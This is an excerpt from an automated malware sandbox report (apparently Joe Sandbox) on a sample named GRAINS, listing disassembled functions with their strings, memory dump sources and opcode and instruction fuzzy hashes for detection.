Opcode Fuzzy Hash: 8e19fb27be14a1b683999977e8b802ed2de1bb28455ae9a1b3a30616d52de62b
Instruction Fuzzy Hash: 98411879A0421ACFEF10CFD5D8447EDBBB1BB88314F106215D006EB281DB78A986DF65

Function 0A537661 Relevance: 1.4, Strings: 1, Instructions: 124COMMON

Download Yara Rule

Strings

7, xrefs: 0A537EE0

Memory Dump Source

Source File: 00000004.00000002.1571600349.000000000A530000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a530000_GRAINS.jbxd

Similarity

API ID:
String ID: 7
API String ID: 0-1790921346
Opcode ID: c229c618bb24a717474b2d721c113992a34479844149df5593a0193b03eef0b1
Instruction ID: fdbe5de4cc9f048b17d6f2dc4c36d0589c023b3489ddcfa9680d3fac4ef60c0f
Opcode Fuzzy Hash: c229c618bb24a717474b2d721c113992a34479844149df5593a0193b03eef0b1
Instruction Fuzzy Hash: 5651E075905228EFDB60CF59D848BEAB7B1BB89308F1094EAD509B3650D7B85AC8CF04

Function 04F4C0B0 Relevance: 1.4, Strings: 1, Instructions: 122COMMON

Download Yara Rule

Strings

!, xrefs: 04F4C2F8

Memory Dump Source

Source File: 00000004.00000002.1514892272.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4f40000_GRAINS.jbxd

Similarity

API ID:
String ID: !
API String ID: 0-2657877971
Opcode ID: 0233082e096f80d36c6c99dc9938c5fe7e4e52883a68fe74cce1f74c33a97e4b
Instruction ID: bdce3569d9a834cb4997d98a45d6d5f4b909b41b42efabf42b043e6faac0b912
Opcode Fuzzy Hash: 0233082e096f80d36c6c99dc9938c5fe7e4e52883a68fe74cce1f74c33a97e4b
Instruction Fuzzy Hash: C2410879A0421ADFEF10CFD5D8447EDBFB1BB88314F106215C00AEB281DB78A986DB65

Function 04F4C06B Relevance: 1.4, Strings: 1, Instructions: 122COMMON

Download Yara Rule

Strings

!, xrefs: 04F4C2F8

Memory Dump Source

Source File: 00000004.00000002.1514892272.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4f40000_GRAINS.jbxd

Similarity

API ID:
String ID: !
API String ID: 0-2657877971
Opcode ID: 5b78f82419cda73b637cf95a3c5b57d5dcf231d1cbdf67c9b00d2770722a8f9e
Instruction ID: 273abcc11cb5b45e7966c65fa71e11773745ad1c86f4fc34818d87c1805bce28
Opcode Fuzzy Hash: 5b78f82419cda73b637cf95a3c5b57d5dcf231d1cbdf67c9b00d2770722a8f9e
Instruction Fuzzy Hash: C6410879A0421ACFEF10CFD5D8447EDBBB1BB88314F106215D00AEB281DB78A986DF65

Function 04F4C21F Relevance: 1.4, Strings: 1, Instructions: 122COMMON

Download Yara Rule

Strings

!, xrefs: 04F4C2F8

Memory Dump Source

Source File: 00000004.00000002.1514892272.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4f40000_GRAINS.jbxd

Similarity

API ID:
String ID: !
API String ID: 0-2657877971
Opcode ID: d7d227d9047610a20537c771317f9c0d89736df43158bf2ed4485ac33abc77c4
Instruction ID: efb1236cecf140b36ea1ecebfe09bbb2de635f1e69d9856b59208f012fb3631f
Opcode Fuzzy Hash: d7d227d9047610a20537c771317f9c0d89736df43158bf2ed4485ac33abc77c4
Instruction Fuzzy Hash: 0E410779A0421ACFEF10CFD5D4487EDBBB1BB88314F106215C00AEB281DB78A986DF65

Function 04F4C15D Relevance: 1.4, Strings: 1, Instructions: 121COMMON

Download Yara Rule

Strings

!, xrefs: 04F4C2F8

Memory Dump Source

Source File: 00000004.00000002.1514892272.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4f40000_GRAINS.jbxd

Similarity

API ID:
String ID: !
API String ID: 0-2657877971
Opcode ID: 7494a00a5d6af01b9d215c464ce1d5efae35719c9fad25260a159752c47cfc89
Instruction ID: e5b0e97c6cf4b23ddcc7ac798f5fc00b781b13d6f404be01ee1715e62d2c4119
Opcode Fuzzy Hash: 7494a00a5d6af01b9d215c464ce1d5efae35719c9fad25260a159752c47cfc89
Instruction Fuzzy Hash: 5B410679A0421ADFEF10CFD5D8447EDBFB1BB88314F106215C10AEB281DB78A986CB65

Function 04F4C013 Relevance: 1.4, Strings: 1, Instructions: 119COMMON

Download Yara Rule

Strings

!, xrefs: 04F4C2F8

Memory Dump Source

Source File: 00000004.00000002.1514892272.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4f40000_GRAINS.jbxd

Similarity

API ID:
String ID: !
API String ID: 0-2657877971
Opcode ID: 20d5aeaccb60c0412384889b71b35339089712d1b2eb315d2b419ee6ffe06e5a
Instruction ID: fc8f822196fbfb58b6cd6d26f4f4e671f4298eb9789aee95aa3633e2c9306d60
Opcode Fuzzy Hash: 20d5aeaccb60c0412384889b71b35339089712d1b2eb315d2b419ee6ffe06e5a
Instruction Fuzzy Hash: 69410579A0421ADBEF10CFD5D8447EDBFB1BB88314F106215D00AEB281DB79A986CF65

Function 04F4BFFE Relevance: 1.4, Strings: 1, Instructions: 119COMMON

Download Yara Rule

Strings

!, xrefs: 04F4C2F8

Memory Dump Source

Source File: 00000004.00000002.1514892272.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4f40000_GRAINS.jbxd

Similarity

API ID:
String ID: !
API String ID: 0-2657877971
Opcode ID: 78c92d98325dd17b4cfb88f1de71939abdfc0102c51c94a85a615b82835387c2
Instruction ID: 03b9cdd785d25b7bdc57b6e859bcb6af2a5b4da4030914360e073641e380abb5
Opcode Fuzzy Hash: 78c92d98325dd17b4cfb88f1de71939abdfc0102c51c94a85a615b82835387c2
Instruction Fuzzy Hash: 58410879A0421ACBEF10CFD5D8447EDBBB1BB88314F106215D006EB281DB79A986DF65

Function 0A530040 Relevance: 1.4, Strings: 1, Instructions: 118COMMON

Download Yara Rule

Strings

", xrefs: 0A530790

Memory Dump Source

Source File: 00000004.00000002.1571600349.000000000A530000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a530000_GRAINS.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: e1dbdd1bc2ec6160c527ef6f5f63a74a392a13edecfd652ea792f76ae38387c7
Instruction ID: 5325bb929f53b0b9576a35c828096b03ffacbc25d03a4a894b9b402c18eb34d6
Opcode Fuzzy Hash: e1dbdd1bc2ec6160c527ef6f5f63a74a392a13edecfd652ea792f76ae38387c7
Instruction Fuzzy Hash: 05510771D00328DFDB64DF66D8487AEB7B6BB89300F1090EAD90AA7294DB745E85CF00

Function 0A5364C8 Relevance: 1.4, Strings: 1, Instructions: 118COMMON

Download Yara Rule

Strings

\kw, xrefs: 0A5365E2

Memory Dump Source

Source File: 00000004.00000002.1571600349.000000000A530000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a530000_GRAINS.jbxd

Similarity

API ID:
String ID: \kw
API String ID: 0-2700434525
Opcode ID: 19ca2c5a33af34475c8680cfe6952bf87a06aff9b764b3946b20cbb97fc23a91
Instruction ID: 6fa166feb8cca0bed7eb787452f77be071f33e157d1bb1c3061e3f8e1a2dd094
Opcode Fuzzy Hash: 19ca2c5a33af34475c8680cfe6952bf87a06aff9b764b3946b20cbb97fc23a91
Instruction Fuzzy Hash: 26414D75E04218EFDB20CFA9E8547AEBBB2FB8A300F10906AD506A7754C7389949CF50

Function 04F4C066 Relevance: 1.4, Strings: 1, Instructions: 117COMMON

Download Yara Rule

Strings

!, xrefs: 04F4C2F8

Memory Dump Source

Source File: 00000004.00000002.1514892272.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4f40000_GRAINS.jbxd

Similarity

API ID:
String ID: !
API String ID: 0-2657877971
Opcode ID: c7c58174bf8482b6bb58d29e04d0b7cd7d0d8dfa5125de996ef881cd9b9964b4
Instruction ID: 61fd485d7139b186df51ddfeaab2a55c2fef005a9725e04d6c7e8bd5a6a5a86e
Opcode Fuzzy Hash: c7c58174bf8482b6bb58d29e04d0b7cd7d0d8dfa5125de996ef881cd9b9964b4
Instruction Fuzzy Hash: 99411679A0421ACBEF10CFD5D8447EDBFB1BB88314F106215C00AEB281DB78A986DF65

Function 04F4C00B Relevance: 1.4, Strings: 1, Instructions: 117COMMON

Download Yara Rule

Strings

!, xrefs: 04F4C2F8

Memory Dump Source

Source File: 00000004.00000002.1514892272.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4f40000_GRAINS.jbxd

Similarity

API ID:
String ID: !
API String ID: 0-2657877971
Opcode ID: 1f1fecd7e94810783223a5dc590626f14bd4c4e1b15a546c32187445628b7ca4
Instruction ID: ee1a579e7cb65fb39cf9b9d3c8baa5dddf33841a3e8ea92557c1854b203e0073
Opcode Fuzzy Hash: 1f1fecd7e94810783223a5dc590626f14bd4c4e1b15a546c32187445628b7ca4
Instruction Fuzzy Hash: 1141F779A0421ADBEF10CFD5D8447EDBFB1BB88314F106215C00AEB281DB79A986DF65

Function 0A5364C0 Relevance: 1.4, Strings: 1, Instructions: 116COMMON

Download Yara Rule

Strings

\kw, xrefs: 0A5365E2

Memory Dump Source

Source File: 00000004.00000002.1571600349.000000000A530000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a530000_GRAINS.jbxd

Similarity

API ID:
String ID: \kw
API String ID: 0-2700434525
Opcode ID: c10659ce15a73c790211c17d5c9606413827d13dcebeaeb92b6525ed629c45ba
Instruction ID: ef2e2d7c1448ca507687663f3b2670bf0d58a377cc3e627d6f316d4329a02a02
Opcode Fuzzy Hash: c10659ce15a73c790211c17d5c9606413827d13dcebeaeb92b6525ed629c45ba
Instruction Fuzzy Hash: 56414C75E04218EFDF20CFA9E8547AEBBB2FB8A300F10906AD506A7754D7389949CF50

Function 0A5368AE Relevance: 1.4, Strings: 1, Instructions: 116COMMON

Download Yara Rule

Strings

\kw, xrefs: 0A5365E2

Memory Dump Source

Source File: 00000004.00000002.1571600349.000000000A530000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a530000_GRAINS.jbxd

Similarity

API ID:
String ID: \kw
API String ID: 0-2700434525
Opcode ID: 411576bb61e24d6f57e2dce5258d1b971dbedcfabaae4006c1779e7cd1b09e65
Instruction ID: eba4b6474718ba5838d4e8f78e7f68500d5dc0773dabbf7342828aecbd19a17a
Opcode Fuzzy Hash: 411576bb61e24d6f57e2dce5258d1b971dbedcfabaae4006c1779e7cd1b09e65
Instruction Fuzzy Hash: DE518074A04219EFDF60CFA4E844AAEBBB2FF89300F20916AD906A7345CB349D45DF40

Function 0A5367D8 Relevance: 1.4, Strings: 1, Instructions: 114COMMON

Download Yara Rule

Strings

\kw, xrefs: 0A5365E2

Memory Dump Source

Source File: 00000004.00000002.1571600349.000000000A530000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a530000_GRAINS.jbxd

Similarity

API ID:
String ID: \kw
API String ID: 0-2700434525
Opcode ID: 537ae4c7323f6d1ce583eb29fa484681fb86de859e43827f320f10c4a04cafd9
Instruction ID: 77552be2967d32bd2ea3c881af97db1ce40f7c85842b7e521a8479b66ea2933c
Opcode Fuzzy Hash: 537ae4c7323f6d1ce583eb29fa484681fb86de859e43827f320f10c4a04cafd9
Instruction Fuzzy Hash: 4B514C75A00218EFDF60DFA9E844AAEB7B2FF89300F10906AD90AA7355D7349D85CF50

Function 0A53685A Relevance: 1.4, Strings: 1, Instructions: 114COMMON

Download Yara Rule

Strings

\kw, xrefs: 0A5365E2

Memory Dump Source

Source File: 00000004.00000002.1571600349.000000000A530000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a530000_GRAINS.jbxd

Similarity

API ID:
String ID: \kw
API String ID: 0-2700434525
Opcode ID: e00ca0853427258614f3cd3608e235d4857c7df5f1d827093b632605464f9f34
Instruction ID: 68b04520c23053f865ca3de7ddf8742b5076efe332c180e3e32dc37140a60683
Opcode Fuzzy Hash: e00ca0853427258614f3cd3608e235d4857c7df5f1d827093b632605464f9f34
Instruction Fuzzy Hash: 4B414C75A01219EFDF60CFA4E444BEEB7B2FB89300F60916AD906A7754C7389945CF50

Function 0A536642 Relevance: 1.4, Strings: 1, Instructions: 112COMMON

Download Yara Rule

Strings

\kw, xrefs: 0A5365E2

Memory Dump Source

Source File: 00000004.00000002.1571600349.000000000A530000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a530000_GRAINS.jbxd

Similarity

API ID:
String ID: \kw
API String ID: 0-2700434525
Opcode ID: e1373da41cced9f8202d5dbc177b625655120dce7970eb2b82cd8bdbd1aba3b8
Instruction ID: 5f17b59c51f342dc3583183fc5b5914f2eae9acd09bea0a8f1aa8fe26df76105
Opcode Fuzzy Hash: e1373da41cced9f8202d5dbc177b625655120dce7970eb2b82cd8bdbd1aba3b8
Instruction Fuzzy Hash: 97414A75A05218EFDF60CFA4E844BEEBBB2FB89300F10916AD906A7754C7389949DF50

Function 0A536982 Relevance: 1.4, Strings: 1, Instructions: 112COMMON

Download Yara Rule

Strings

\kw, xrefs: 0A5365E2

Memory Dump Source

Source File: 00000004.00000002.1571600349.000000000A530000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a530000_GRAINS.jbxd

Similarity

API ID:
String ID: \kw
API String ID: 0-2700434525
Opcode ID: a194c9ed619d45de6b06cd86b685f5aefc26a0212f8537dbd8f6f664234bf732
Instruction ID: 3ca0077c2adb5b442104df860f7b4fc2b282b65c1b5da700cda764a6025ffcf9
Opcode Fuzzy Hash: a194c9ed619d45de6b06cd86b685f5aefc26a0212f8537dbd8f6f664234bf732
Instruction Fuzzy Hash: A4415E74A00218EFDF60DFA4E844BAEB7B2FB89300F50906AD90AA7755C7349D85CF50

Function 0A536781 Relevance: 1.4, Strings: 1, Instructions: 105COMMON

Download Yara Rule

Strings

\kw, xrefs: 0A5365E2

Memory Dump Source

Source File: 00000004.00000002.1571600349.000000000A530000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a530000_GRAINS.jbxd

Similarity

API ID:
String ID: \kw
API String ID: 0-2700434525
Opcode ID: 0d27edc54b11b851e73e61134f8ce8ee9a9b5513550d760f4ed9953aff6ed08d
Instruction ID: 2e2c85584a32cbbaedd1a032d5fe25685e8bc9e9ed7d903e3b06fcd5887af1fd
Opcode Fuzzy Hash: 0d27edc54b11b851e73e61134f8ce8ee9a9b5513550d760f4ed9953aff6ed08d
Instruction Fuzzy Hash: 3F414C75A04218EFDF20DFA8E844AEEBBB2FB89300F10906AD906A7754C7389D45DF50

Function 0A536548 Relevance: 1.4, Strings: 1, Instructions: 102COMMON

Download Yara Rule

Strings

\kw, xrefs: 0A5365E2

Memory Dump Source

Source File: 00000004.00000002.1571600349.000000000A530000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a530000_GRAINS.jbxd

Similarity

API ID:
String ID: \kw
API String ID: 0-2700434525
Opcode ID: 40f8ece1f8a8ed0f05d96f94e2bb55283c635333a9d139087cdb61e0fd74590c
Instruction ID: 6c9c404815e327c013c05164ab33d145f7bdf7b4d35b095f114703fcc15eed89
Opcode Fuzzy Hash: 40f8ece1f8a8ed0f05d96f94e2bb55283c635333a9d139087cdb61e0fd74590c
Instruction Fuzzy Hash: 48414C75A00218EFDF60CFA4E444BEEBBB2FB89300F20916AD906A7754C7389945DF50

Function 0A53674D Relevance: 1.3, Strings: 1, Instructions: 96COMMON

Download Yara Rule

Strings

\kw, xrefs: 0A5365E2

Memory Dump Source

Source File: 00000004.00000002.1571600349.000000000A530000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a530000_GRAINS.jbxd

Similarity

API ID:
String ID: \kw
API String ID: 0-2700434525
Opcode ID: 4019795c23a19fcfc5e432be1782e77ce26be37ccd5fbc204bb416389ee80ee7
Instruction ID: 4d2a183c68b868b49ccc9c0845de02a9178b8bdf6efaf1b70563edc99d9dd599
Opcode Fuzzy Hash: 4019795c23a19fcfc5e432be1782e77ce26be37ccd5fbc204bb416389ee80ee7
Instruction Fuzzy Hash: 26412E75A05218EFDF60CFA4E844BAEB7B2FB89300F10916AD506A7754C7389945DF50

Function 0A58F228 Relevance: 1.3, APIs: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(?,?,?,?), ref: 0A58F2C7

Memory Dump Source

Source File: 00000004.00000002.1571683317.000000000A580000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a580000_GRAINS.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 578fb8aa7b937f131023aa589001a1b61e9c9774ddd644262f47a4ed88157493
Instruction ID: 866819234342011f82516184b35bdf59b5eb1f41c1d64874b9982f6b11486255
Opcode Fuzzy Hash: 578fb8aa7b937f131023aa589001a1b61e9c9774ddd644262f47a4ed88157493
Instruction Fuzzy Hash: 4831A8B8D01248AFCF14DFA9D884A9EFBB5BF49320F14942AE815B7210DB35A945CF58

Function 0A536A25 Relevance: 1.3, Strings: 1, Instructions: 92COMMON

Download Yara Rule

Strings

\kw, xrefs: 0A5365E2

Memory Dump Source

Source File: 00000004.00000002.1571600349.000000000A530000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a530000_GRAINS.jbxd

Similarity

API ID:
String ID: \kw
API String ID: 0-2700434525
Opcode ID: c5713aa05058c266b576d80f5a9fa4d29f5306c1848ddeeecf352bc513d95cf6
Instruction ID: eb6e7c33c69e6fe779c83f2d38b4ac95a151ca336c1c99899506ebe1c9dc86d0
Opcode Fuzzy Hash: c5713aa05058c266b576d80f5a9fa4d29f5306c1848ddeeecf352bc513d95cf6
Instruction Fuzzy Hash: FE318175A04218EFDF60CFA4E854AEEBBB2FB8A300F20906AD906A7755C7349D45DF50

Function 0A53017D Relevance: 1.3, Strings: 1, Instructions: 91COMMON

Download Yara Rule

Strings

/bb*, xrefs: 0A530223

Memory Dump Source

Source File: 00000004.00000002.1571600349.000000000A530000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a530000_GRAINS.jbxd

Similarity

API ID:
String ID: /bb*
API String ID: 0-506904521
Opcode ID: 71a28d71b71e4705a1f879ee69d55e8a26c8cfe1af5c4fc2ccb583c3f9bd1e41
Instruction ID: 451c8f439e8f9d6ee81aba1c3fc498ea77cbb270fefbb3adf1c4d9fc434a7658
Opcode Fuzzy Hash: 71a28d71b71e4705a1f879ee69d55e8a26c8cfe1af5c4fc2ccb583c3f9bd1e41
Instruction Fuzzy Hash: 3E410EB4A002199FDB64DF65E894BEEB7B2FB49300F1041AAD90E97754CB349E85CF90

Function 0A53672A Relevance: 1.3, Strings: 1, Instructions: 90COMMON

Download Yara Rule

Strings

\kw, xrefs: 0A5365E2

Memory Dump Source

Source File: 00000004.00000002.1571600349.000000000A530000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a530000_GRAINS.jbxd

Similarity

API ID:
String ID: \kw
API String ID: 0-2700434525
Opcode ID: 42706fc6dcde1224d3361508ab4c299b4fd734e9cb5e3e18ec86db2be29a12a6
Instruction ID: d079f23863dbc20b8c8e9fc42bf081f7190b5f91134c487da006b62494ccf625
Opcode Fuzzy Hash: 42706fc6dcde1224d3361508ab4c299b4fd734e9cb5e3e18ec86db2be29a12a6
Instruction Fuzzy Hash: 3C313E75A05218EFDF60CFA4E854AEEB7B2FB8A300F20906AD906A7754C7389D45DF50

Function 04F4BEC8 Relevance: 1.3, Strings: 1, Instructions: 51COMMON

Download Yara Rule

Strings

ECXL, xrefs: 04F4BF0B

Memory Dump Source

Source File: 00000004.00000002.1514892272.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4f40000_GRAINS.jbxd

Similarity

API ID:
String ID: ECXL
API String ID: 0-4066025069
Opcode ID: a4c7bb7fdf919e3b64447a35ab90493a19781928810b1fbdb633ede0ce8e4cfd
Instruction ID: 64029ff135e245f5f7bc259e755fcf6da02472a95a8919c4e3308a034a30f179
Opcode Fuzzy Hash: a4c7bb7fdf919e3b64447a35ab90493a19781928810b1fbdb633ede0ce8e4cfd
Instruction Fuzzy Hash: 1111C430204240DFD711DB69E419B593FD6BBCA310F1540A5D6058B2A3CFB8ED86CB91

Function 0A537D75 Relevance: 1.3, Strings: 1, Instructions: 40COMMON

Download Yara Rule

Strings

C, xrefs: 0A537E0E

Memory Dump Source

Source File: 00000004.00000002.1571600349.000000000A530000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a530000_GRAINS.jbxd

Similarity

API ID:
String ID: C
API String ID: 0-1037565863
Opcode ID: 04b01eebeb6408ebbedf5b4cf081d08d3ad38a31c14a9976179d6ad90eb41aac
Instruction ID: 7d7b17400ae627c218705c289974c1c15ef50226f1944b6f5cf3096ffdc0cc61
Opcode Fuzzy Hash: 04b01eebeb6408ebbedf5b4cf081d08d3ad38a31c14a9976179d6ad90eb41aac
Instruction Fuzzy Hash: 8E11C378A002289FDB60CF54D988B99BBB1FB49304F1085DA9909A7255CB359E85CF50

Function 0A3B8200 Relevance: 1.3, Strings: 1, Instructions: 35COMMON

Download Yara Rule

Strings

;, xrefs: 0A3B823C

Memory Dump Source

Source File: 00000004.00000002.1569743408.000000000A3B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A3B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a3b0000_GRAINS.jbxd

Similarity

API ID:
String ID: ;
API String ID: 0-1661535913
Opcode ID: 6bc25964334a111d93bb0f7a31106610f7c918810440c2201e736ed69124feab
Instruction ID: b57695320e05aae0ee604ce75c7b8f7aaed6ade06c4b96c4d81cc34689c5fe03
Opcode Fuzzy Hash: 6bc25964334a111d93bb0f7a31106610f7c918810440c2201e736ed69124feab
Instruction Fuzzy Hash: 8811B3B0815228CFDB609F64C8897DCBAB2FB08314F1454EAD609B3A82CB348AC5CF14

Function 0A7E4269 Relevance: 1.3, Strings: 1, Instructions: 35COMMON

Download Yara Rule

Strings

\, xrefs: 0A7E4316

Memory Dump Source

Source File: 00000004.00000002.1571951807.000000000A7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A7E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a7e0000_GRAINS.jbxd

Similarity

API ID:
String ID: \
API String ID: 0-2967466578
Opcode ID: 014af2ed949c5475050a4f37a1db7006f3fb26ee4a48f4eefd38dbd46903cf34
Instruction ID: 0388fd082c953d1ff2f73cad374e67928cdd488bb0e10f3fc882ce670e98daef
Opcode Fuzzy Hash: 014af2ed949c5475050a4f37a1db7006f3fb26ee4a48f4eefd38dbd46903cf34
Instruction Fuzzy Hash: E3110CB4A4021A8FDB64DF18DD98A99B7B2FB49304F1040E9D91AA3744CB34AEC5CF40

Function 0A484950 Relevance: 1.3, Strings: 1, Instructions: 35COMMON

Download Yara Rule

Strings

P, xrefs: 0A4849F2

Memory Dump Source

Source File: 00000004.00000002.1570953800.000000000A480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a480000_GRAINS.jbxd

Similarity

API ID:
String ID: P
API String ID: 0-3110715001
Opcode ID: d88405ade772aeffd241ecd7389317d72d203b92336d578179d604cebffa9a09
Instruction ID: 53630b9adc27c2e829ee93abc1a19b6e17a43250be801410be919c782511a21b
Opcode Fuzzy Hash: d88405ade772aeffd241ecd7389317d72d203b92336d578179d604cebffa9a09
Instruction Fuzzy Hash: 671196749006289FDB65DF24DC5469EB7F5BB48606F0450EAD50EA72A0DA35AE848F40

Function 0A7E1601 Relevance: 1.3, Strings: 1, Instructions: 33COMMON

Download Yara Rule

Strings

G, xrefs: 0A7E0D37

Memory Dump Source

Source File: 00000004.00000002.1571951807.000000000A7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A7E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a7e0000_GRAINS.jbxd

Similarity

API ID:
String ID: G
API String ID: 0-985283518
Opcode ID: b2a8198b168d5dc8937f8d2bd31d7cfb4c19f36ba7dc67b5cc6ae6f4a3cc8303
Instruction ID: 11e518c0141e1ee304f48e31e8c8785dc237d4be4c26fd83a8d9752b24f64075
Opcode Fuzzy Hash: b2a8198b168d5dc8937f8d2bd31d7cfb4c19f36ba7dc67b5cc6ae6f4a3cc8303
Instruction Fuzzy Hash: 760108B09442199FDF74CF54D89CB9AB7B2EB49305F1190DAD919A7280C7789EC98F10

Function 04F4BE78 Relevance: 1.3, Strings: 1, Instructions: 28COMMON

Download Yara Rule

Strings

NCXL, xrefs: 04F4BE94

Memory Dump Source

Source File: 00000004.00000002.1514892272.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4f40000_GRAINS.jbxd

Similarity

API ID:
String ID: NCXL
API String ID: 0-626727276
Opcode ID: 578a84acb9823773f19e1bef166fc6c21877c81b9692b806da2b311c5e351c13
Instruction ID: e8b37b03df3af0947a86fb719fba2fa23b66f01b3a9d2b063c27f7e9bacabd6a
Opcode Fuzzy Hash: 578a84acb9823773f19e1bef166fc6c21877c81b9692b806da2b311c5e351c13
Instruction Fuzzy Hash: 94E0E5352052908FC342A738A4555953FE69F8E61031441D2D44ACB362CA348C46CB61

Function 0A537E60 Relevance: 1.3, Strings: 1, Instructions: 28COMMON

Download Yara Rule

Strings

7, xrefs: 0A537EE0

Memory Dump Source

Source File: 00000004.00000002.1571600349.000000000A530000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a530000_GRAINS.jbxd

Similarity

API ID:
String ID: 7
API String ID: 0-1790921346
Opcode ID: 2651f33b4a4b5e0975a392e684f6b8aad1538dc9422a04af2f516b08910c8af4
Instruction ID: 4d0ea106647181ff101dc3ed606fdcff6587e10ff06ab811aea49111148dd96b
Opcode Fuzzy Hash: 2651f33b4a4b5e0975a392e684f6b8aad1538dc9422a04af2f516b08910c8af4
Instruction Fuzzy Hash: 9C01D674D012299FDB68DF50E854BDDB7B1BB49300F1084D9DA09A7280CB746E81CF80

Function 0A7E0CD3 Relevance: 1.3, Strings: 1, Instructions: 23COMMON

Download Yara Rule

Strings

G, xrefs: 0A7E0D37

Memory Dump Source

Source File: 00000004.00000002.1571951807.000000000A7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A7E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a7e0000_GRAINS.jbxd

Similarity

API ID:
String ID: G
API String ID: 0-985283518
Opcode ID: 5910ea50e4064cba8d516f02069beef3a5ff4347684ec205312a8f82afea50e9
Instruction ID: e29010cb6ab42b5cf7d2175ba0da46010646497f487af8993b617909838a014c
Opcode Fuzzy Hash: 5910ea50e4064cba8d516f02069beef3a5ff4347684ec205312a8f82afea50e9
Instruction Fuzzy Hash: 2CF0DAB4A002189FDB64DF54D89CB9EB3B2FB8A301F1181DAD90A97394CB359E85CF50

Function 0A53779E Relevance: 1.3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

Strings

7, xrefs: 0A537EE0

Memory Dump Source

Source File: 00000004.00000002.1571600349.000000000A530000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a530000_GRAINS.jbxd

Similarity

API ID:
String ID: 7
API String ID: 0-1790921346
Opcode ID: 30fce3b588f3b176a61758b1fb703d9f75fc143fc3ece2f3cb4751ae4e66f2e2
